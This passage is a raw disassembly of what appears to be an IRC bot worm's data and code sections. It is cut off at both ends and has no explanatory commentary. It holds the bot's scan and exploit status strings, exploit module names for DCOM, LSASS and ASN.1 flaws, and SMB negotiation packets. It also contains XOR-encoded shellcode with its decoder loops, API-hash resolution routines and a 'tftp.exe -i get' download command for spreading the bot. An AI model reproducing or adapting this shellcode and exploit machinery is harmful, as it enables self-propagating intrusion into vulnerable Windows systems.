DATA XREF: ___:0042DAD4o align 10h aBeal db 'Beal',0 ; DATA XREF: ___:0042DAD0o align 4 aBeacon db 'Beacon',0 ; DATA XREF: ___:0042DACCo align 10h aBayo db 'Bayo',0 ; DATA XREF: ___:0042DAC8o align 4 aBayles db 'Bayles',0 ; DATA XREF: ___:0042DAC4o align 10h aBaumiller db 'Baumiller',0 ; DATA XREF: ___:0042DAC0o align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: ___:0042DABCo align 4 aBashevis db 'Bashevis',0 ; DATA XREF: ___:0042DAB8o align 4 aBasavappa db 'Basavappa',0 ; DATA XREF: ___:0042DAB4o align 10h aBartoo db 'Bartoo',0 ; DATA XREF: ___:0042DAB0o align 4 aBartolome db 'Bartolome',0 ; DATA XREF: ___:0042DAACo align 4 aBartholomew db 'Bartholomew',0 ; DATA XREF: ___:0042DAA8o aBarry db 'Barry',0 ; DATA XREF: ___:0042DAA4o align 4 aBarriola db 'Barriola',0 ; DATA XREF: ___:0042DAA0o align 4 aBarnett db 'Barnett',0 ; DATA XREF: ___:0042DA9Co aBarneson db 'Barneson',0 ; DATA XREF: ___:0042DA98o align 4 aBarbetti db 'Barbetti',0 ; DATA XREF: ___:0042DA94o align 4 aBarberi db 'Barberi',0 ; DATA XREF: ___:0042DA90o aBaranowska db 'Baranowska',0 ; DATA XREF: ___:0042DA8Co align 4 aBaranczak db 'Baranczak',0 ; DATA XREF: ___:0042DA88o align 4 aBarajas db 'Barajas',0 ; DATA XREF: ___:0042DA84o aBarabesi db 'Barabesi',0 ; DATA XREF: ___:0042DA80o align 4 aBanta db 'Banta',0 ; DATA XREF: ___:0042DA7Co align 10h aBaltz db 'Baltz',0 ; DATA XREF: ___:0042DA78o align 4 aBallew db 'Ballew',0 ; DATA XREF: ___:0042DA74o align 10h aBallatori db 'Ballatori',0 ; DATA XREF: ___:0042DA70o align 4 aBaleja db 'Baleja',0 ; DATA XREF: ___:0042DA6Co align 4 aBakanowsky db 'Bakanowsky',0 ; DATA XREF: ___:0042DA68o align 10h aBailar db 'Bailar',0 ; DATA XREF: ___:0042DA64o align 4 aBagnold db 'Bagnold',0 ; DATA XREF: ___:0042DA60o aBaglivo db 'Baglivo',0 ; DATA XREF: ___:0042DA5Co aBady db 'Bady',0 ; DATA XREF: ___:0042DA58o align 10h aBackus db 'Backus',0 ; DATA XREF: ___:0042DA54o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: ___:0042DA50o align 4 aAzima db 'Azima',0 ; DATA XREF: ___:0042DA4Co align 4 aAyling db 'Ayling',0 ; DATA XREF: ___:0042DA48o align 4 aAykroyd db 'Aykroyd',0 ; DATA XREF: ___:0042DA44o aAyiemba db 'Ayiemba',0 ; DATA XREF: ___:0042DA40o aAxworthy db 'Axworthy',0 ; DATA XREF: ___:0042DA3Co align 10h aAxelrod db 'Axelrod',0 ; DATA XREF: ___:0042DA38o aAurelius db 'Aurelius',0 ; DATA XREF: ___:0042DA34o align 4 aAugustus db 'Augustus',0 ; DATA XREF: ___:0042DA30o align 10h aAtkins db 'Atkins',0 ; DATA XREF: ___:0042DA2Co align 4 aArky db 'Arky',0 ; DATA XREF: ___:0042DA28o align 10h aArjas db 'Arjas',0 ; DATA XREF: ___:0042DA24o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: ___:0042DA20o align 4 aArellano db 'Arellano',0 ; DATA XREF: ___:0042DA1Co align 10h aArduini db 'Arduini',0 ; DATA XREF: ___:0042DA18o aArbia db 'Arbia',0 ; DATA XREF: ___:0042DA14o align 10h aAntos db 'Antos',0 ; DATA XREF: ___:0042DA10o align 4 aAnthony db 'Anthony',0 ; DATA XREF: ___:0042DA0Co aAnsley db 'Ansley',0 ; DATA XREF: ___:0042DA08o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: ___:0042DA04o align 4 aAndron db 'Andron',0 ; DATA XREF: ___:0042DA00o align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: ___:0042D9FCo align 4 aAndo db 'Ando',0 ; DATA XREF: ___:0042D9F8o align 10h aAndel db 'Andel',0 ; DATA XREF: ___:0042D9F4o align 4 aAnand db 'Anand',0 ; DATA XREF: ___:0042D9F0o align 10h aAmsden db 'Amsden',0 ; DATA XREF: ___:0042D9ECo align 4 aAmeer db 'Ameer',0 ; DATA XREF: ___:0042D9E8o align 10h aAmatangelo db 'Amatangelo',0 ; DATA XREF: ___:0042D9E4o align 4 aAmaral db 'Amaral',0 ; DATA XREF: ___:0042D9E0o align 4 aAltenhofen db 'Altenhofen',0 ; DATA XREF: ___:0042D9DCo align 10h aAltenberger db 'Altenberger',0 ; DATA XREF: ___:0042D9D8o aAltavilla db 'Altavilla',0 ; DATA XREF: ___:0042D9D4o align 4 aAlongi db 'Alongi',0 ; DATA XREF: ___:0042D9D0o align 10h aAllison db 'Allison',0 ; DATA XREF: ___:0042D9CCo aAleks db 'Aleks',0 ; DATA XREF: ___:0042D9C8o align 10h aAlda db 'Alda',0 ; DATA XREF: ___:0042D9C4o align 4 aAlcorn db 'Alcorn',0 ; DATA XREF: ___:0042D9C0o align 10h aAlavi db 'Alavi',0 ; DATA XREF: ___:0042D9BCo align 4 aAhlers db 'Ahlers',0 ; DATA XREF: ___:0042D9B8o align 10h aAdorno db 'Adorno',0 ; DATA XREF: ___:0042D9B4o align 4 aAdibe db 'Adibe',0 ; DATA XREF: ___:0042D9B0o align 10h aAdelstein db 'Adelstein',0 ; DATA XREF: ___:0042D9ACo align 4 aAddison db 'Addison',0 ; DATA XREF: ___:off_42D9A8o aAdams db 'Adams',0 ; DATA XREF: ___:0042D9A4o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: ___:0042D9A0o align 4 aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: ___:off_42D99Co align 4 byte_4315F4 db 50h ; DATA XREF: ___:0040ABE6o ; ___:0040ABF3r db 43h, 2 dup(0) dword_4315F8 dd 7C7325h ; DATA XREF: ___:0040AC91o dword_4315FC dd 5D73255Bh, 7Ch ; DATA XREF: ___:0040AD9Bo dword_431604 dd 3F3F3Fh ; DATA XREF: ___:loc_40AD92o ; sub_41AF8F:loc_41B052o dword_431608 dd 334B32h ; DATA XREF: ___:0040AD8Bo dword_43160C dd 5058h ; DATA XREF: ___:0040AD7Do ; ___:0040AF89o ... dword_431610 dd 4B32h ; DATA XREF: ___:0040AD6Do ; ___:0040AF79o ... dword_431614 dd 454Dh ; DATA XREF: ___:0040AD54o ; ___:0040AF60o ... dword_431618 dd 3839h ; DATA XREF: ___:0040AD44o ; ___:0040AF50o ... dword_43161C dd 544Eh ; DATA XREF: ___:0040AD34o ; ___:0040AF41o ... dword_431620 dd 3539h ; DATA XREF: ___:0040AD26o ; ___:0040AF33o ... dword_431624 dd 5D64255Bh, 7325h ; DATA XREF: sub_40ADE1+3Ao off_43162C dd offset asc_5D4D5B ; DATA XREF: sub_40ADE1+2Co ; sub_40ADE1+57o ; "ллллллллллллллллллллллллллллллллллллллл"... aMirc_0 db 'mIRC',0 ; DATA XREF: sub_40ADE1+18o ; sub_41875E+5o align 4 aSSSS db '%s|%s|%s|%s|',0 ; DATA XREF: ___:0040B0D6o align 4 a99 db '99',0 ; DATA XREF: ___:loc_40B098o align 4 a0D db '0%d',0 ; DATA XREF: ___:0040B072o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: ___:0040B054o ; sub_41ADD8+52o off_43165C dd offset byte_4B4E55 ; DATA XREF: ___:0040B037o dword_431660 dd 345053h ; DATA XREF: ___:0040B02Do dword_431664 dd 34h ; DATA XREF: ___:0040B021o dword_431668 dd 335053h ; DATA XREF: ___:0040B014o dword_43166C dd 33h ; DATA XREF: ___:0040B003o dword_431670 dd 325053h ; DATA XREF: ___:0040AFF6o dword_431674 dd 32h ; DATA XREF: ___:0040AFE5o ; =============== S U B R O U T I N E ======================================= sub_431678 proc near ; DATA XREF: ___:0040AFD8o push ebx push eax xor [eax], eax sub_431678 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dword_43167C dd 305053h ; DATA XREF: ___:0040AFBAo dword_431680 dd 4E55h ; DATA XREF: ___:loc_40AF9Eo dword_431684 dd 3332h ; DATA XREF: ___:0040AF97o ; --------------------------------------------------------------------------- loc_431688: ; DATA XREF: sub_40B2B3+C4o jmp short loc_43168C ; --------------------------------------------------------------------------- loc_43168A: ; CODE XREF: ___:loc_43168Cp jmp short loc_431691 ; --------------------------------------------------------------------------- loc_43168C: ; CODE XREF: ___:loc_431688j call loc_43168A loc_431691: ; CODE XREF: ___:loc_43168Aj pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 66h, 0B9h word_431696 dw 0FFFFh ; DATA XREF: sub_40B2B3+CCw db 80h, 73h, 0Eh byte_43169B db 0FFh ; DATA XREF: sub_40B2B3+D3w dd 0F9E243h ; --------------------------------------------------------------------------- loc_4316A0: ; DATA XREF: sub_40B2B3+A2o jmp short loc_4316A4 ; --------------------------------------------------------------------------- loc_4316A2: ; CODE XREF: ___:loc_4316A4p jmp short loc_4316A9 ; --------------------------------------------------------------------------- loc_4316A4: ; CODE XREF: ___:loc_4316A0j call loc_4316A2 loc_4316A9: ; CODE XREF: ___:loc_4316A2j pop ebx xor ecx, ecx ; --------------------------------------------------------------------------- db 0B1h byte_4316AD db 0FFh ; DATA XREF: sub_40B2B3+AAw dw 7380h db 0Ch byte_4316B1 db 0FFh ; DATA XREF: sub_40B2B3+B0w dw 0E243h dd 0F9h dword_4316B8 dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h ; DATA XREF: sub_40B13C+57o dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h dword_43171C dd 12h ; DATA XREF: sub_40B13C+3Dw aTftp_exeIGet db 'tftp.exe -i get ',0 ; DATA XREF: sub_40B13C+79o aJ_0 db 'j',0 db 0E8h dword_431735 dd 17h ; DATA XREF: sub_40B13C+4Dw ; --------------------------------------------------------------------------- jnz short near ptr byte_43173C retn ; --------------------------------------------------------------------------- byte_43173C db 0E8h ; CODE XREF: ___:00431739j dword_43173D dd 1 ; DATA XREF: sub_40B13C+45w byte_431741 db 0, 6Ah, 0 ; DATA XREF: sub_40B13C+C2o dd 7E8h db 0, 0Fh, 84h dword_43174B dd 0FFFFFFEDh ; DATA XREF: sub_40B13C+5Dw ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- pop eax pop ebx pop ebp push eax sub esp, 54h xor eax, eax mov edi, esp lea ecx, [eax+40h] mov edx, edi rep stosb mov al, 44h stosd push edi push edx push ecx push ecx push 28h push 1 push ecx push ecx push ebp push ebx call esi add esp, 54h test eax, eax retn ; --------------------------------------------------------------------------- align 4 dd 234032Dh, 65726874h, 6C206461h, 2747369h, 202D03h aSNoSThreadFoun db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o align 4 aSSStopped_DThr db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o align 10h aSym db 'sym',0 ; DATA XREF: sub_40C3E8+169o dd 0 db 2 dup(0) aSymantec db 'Symantec',0 ; DATA XREF: sub_40BA9E+30o ; ___:0040E229o ... align 4 dd 5 dup(0) dword_4317F8 dd 0B97h ; DATA XREF: sub_401ACD+1D42r ; sub_401ACD+1D6Ao ... off_4317FC dd offset sub_40EAE9 ; DATA XREF: sub_40C3E8+1EAr dword_431800 dd 0 ; DATA XREF: sub_40B90E+2Eo ; ___:0040D759w ... dword_431804 dd 1 ; DATA XREF: sub_40BD91+1Fr dword_431808 dd 1 ; DATA XREF: sub_40BD91+3B3r dword_43180C dd 0 ; DATA XREF: sub_40BD91+292r aDcom135 db 'dcom135',0 dd 63440000h, 33316D6Fh, 35h, 5 dup(0) dd 87h, 40DF4Ch, 0 dd 1, 2 dup(0) dd 636E76h, 0 dd 6E760000h, 63h, 6 dup(0) dd 170Ch, 40EC1Fh, 0 dd 2 dup(1), 0 aAsn445 db 'asn445',0 align 4 dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0) dd 1BDh, 40D59Dh, 0 dd 2 dup(1), 0 aAsn139 db 'asn139',0 align 4 dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0) dd 8Bh, 40D59Dh, 0 dd 2 dup(1), 0 aVncs db 'vncs',0 align 4 dd 54480000h, 562D5054h, 434Eh, 5 dup(0) dd 170Ch, 41B6A1h, 4 dup(0) aLsass_445 db 'lsass_445',0 aLsass_445_0 db 'lsass_445',0 dd 5 dup(0) dd 1BDh, 40E830h, 0 dd 2 dup(1), 2 dup(0) dd 10100h, 0Eh dup(0) aAsn445_0 db 'asn445',0 align 4 db 2 dup(0) byte_4319DA db 1 ; DATA XREF: sub_401ACD:loc_403789r ; sub_401ACD+1CC6o db 73h dd 6D79h, 0 dd 100h, 3 dup(0) ; --------------------------------------------------------------------------- jmp short loc_431A06 ; =============== S U B R O U T I N E ======================================= sub_4319F6 proc near ; CODE XREF: sub_4319F6:loc_431A06p pop edx dec edx xor ecx, ecx mov cx, 166h loc_4319FE: ; CODE XREF: sub_4319F6+Cj xor byte ptr [edx+ecx], 99h loop loc_4319FE jmp short loc_431A0B ; --------------------------------------------------------------------------- loc_431A06: ; CODE XREF: ___:004319F4j call sub_4319F6 loc_431A0B: ; CODE XREF: sub_4319F6+Ej jo short near ptr dword_431994+12h cwde cdq cdq retn sub_4319F6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 21h, 95h, 69h dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h, 0EF126A9Ah dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh, 0C7C6C070h dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh, 0CA98F36Dh dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o align 4 dword_431B88 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40B90E+46o unk_431B94 db 2Dh ; - ; DATA XREF: sub_40B90E+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 unk_431BB4 db 2Dh ; - ; DATA XREF: sub_40B9DD+38o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_431BFC db 2Dh ; - ; DATA XREF: sub_40BA49+22o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BA9E+7Fo dword_431C38 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o dword_431C48 dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BA9E+14o dd 7473694Ch, 3Ah unk_431C64 db 2Dh ; - ; DATA XREF: ___:0040BCD7o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_431C98 db 2Dh ; - ; DATA XREF: ___:0040BBE5o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_431CC8 db 2Dh ; - ; DATA XREF: sub_40BD1A+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_431CE8 db 2Dh ; - ; DATA XREF: sub_40BD1A+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_431D04 db 2Dh ; - ; DATA XREF: sub_40BD91+4B7o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_30 db ' Failed to start server, error: <%d>.',0 align 4 unk_431D38 db 2Dh ; - ; DATA XREF: sub_40BD91+38Fo db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_31 db '- Failed to start server, error: <%d>.',0 unk_431D70 db 2Dh ; - ; DATA XREF: sub_40BD91+321o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_2 db '- Server started on Port: %d.',0 align 10h unk_431DA0 db 2Dh ; - ; DATA XREF: sub_40BD91+26Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_32 db 'Failed to start server, error: <%d>.',0 align 4 unk_431DD4 db 2Dh ; - ; DATA XREF: sub_40BD91+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431E08 db 2Dh ; - ; DATA XREF: sub_40BD91+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_33 db ' Failed to start server, error: <%d>.',0 align 4 unk_431E3C db 2Dh ; - ; DATA XREF: sub_40C3E8+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431E64 db 2Dh ; - ; DATA XREF: sub_40C3E8+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431E9C db 2Dh ; - ; DATA XREF: sub_40C3E8+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431EDC db 2Dh ; - ; DATA XREF: sub_40C3E8+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431F14 db 2Dh ; - ; DATA XREF: sub_40C3E8+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431F48 db 2Dh ; - ; DATA XREF: sub_40C3E8+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431F7C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C85F+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CD9E+B2o align 10h dword_432030 dd 10FF8h, 0 ; DATA XREF: sub_40CD9E+6Ao dword_432038 dd 10FF8h ; DATA XREF: sub_40CD9E+79o dword_43203C dd 7FFDF020h, 0 ; DATA XREF: sub_40CD9E+162o dword_432044 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1C8+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_4320CC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1C8+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_4320FC dd 0 ; DATA XREF: sub_40D1C8+44o dd 800000D4h, 0 unk_432108 db 81h ; │ ; DATA XREF: sub_40D2A2+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_432154 db 41h ; DATA XREF: sub_40D340+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_432198 proc near ; DATA XREF: ___:0040D61Fo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_432294 push dword ptr [esi] push 63D61209h call sub_4322AA mov [esi+8], eax call sub_43225D push dword ptr [esi+4] push 0CA2BD06Bh call sub_4322AA mov [esi+0Ch], eax call sub_43220F push dword ptr [esi+4] push 4C0297FAh call sub_4322AA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_432198 endp ; =============== S U B R O U T I N E ======================================= sub_43220F proc near ; CODE XREF: sub_432198+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432238 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_43220F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432238 proc near ; CODE XREF: sub_43220F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_432247: ; CODE XREF: sub_432238+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_432254 inc ebx jmp short loc_432247 ; --------------------------------------------------------------------------- loc_432254: ; CODE XREF: sub_432238+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432238 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43225D proc near ; CODE XREF: sub_432198+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_432275: ; CODE XREF: sub_43225D+1Ej cmp [ecx], ebx jz short loc_43227D mov ecx, [ecx] jmp short loc_432275 ; --------------------------------------------------------------------------- loc_43227D: ; CODE XREF: sub_43225D+1Aj mov edx, edi loc_43227F: ; CODE XREF: sub_43225D+2Aj cmp [edx+4], ebx jz short loc_432289 mov edx, [edx+4] jmp short loc_43227F ; --------------------------------------------------------------------------- loc_432289: ; CODE XREF: sub_43225D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_43225D endp ; =============== S U B R O U T I N E ======================================= sub_432294 proc near ; CODE XREF: sub_432198+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_432294 endp ; =============== S U B R O U T I N E ======================================= sub_4322AA proc near ; CODE XREF: sub_432198+16p ; sub_432198+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_4322C0: ; CODE XREF: sub_4322AA+33j jecxz short loc_4322FA dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_4322CD: ; CODE XREF: sub_4322AA+2Dj lodsb cmp al, ah jz short loc_4322D9 ror edi, 0Dh add edi, eax jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D9: ; CODE XREF: sub_4322AA+26j cmp edi, [esp+20h+arg_0] jnz short loc_4322C0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j ; sub_4322AA:loc_4322FAj jmp short loc_4322FA sub_4322AA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_432300 proc near ; DATA XREF: ___:0040D5CDo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_432352 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_43231D: ; CODE XREF: sub_432300+38j jecxz short loc_43234D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432328: ; CODE XREF: sub_432300+32j lodsb test al, al jz short loc_432334 ror edx, 0Dh add edx, eax jmp short loc_432328 ; --------------------------------------------------------------------------- loc_432334: ; CODE XREF: sub_432300+2Bj cmp edx, [esp+arg_0] jnz short loc_43231D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj mov [esp+arg_0], ebx retn sub_432300 endp ; =============== S U B R O U T I N E ======================================= sub_432352 proc near ; CODE XREF: sub_432300+7p ; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43236B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_432376 ; --------------------------------------------------------------------------- loc_43236B: ; CODE XREF: sub_432352+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_432376: ; CODE XREF: sub_432352+14j pop edi xor esi, esi pusha push esi jmp short loc_43238A sub_432352 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43237D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432352 loc_43238A: ; CODE XREF: sub_432352+29j call sub_43237D loc_43238F: ; DATA XREF: sub_40CD9E+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_432352 ; --------------------------------------------------------------------------- dw 0 dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o dword_4323A0 dd 30h ; DATA XREF: 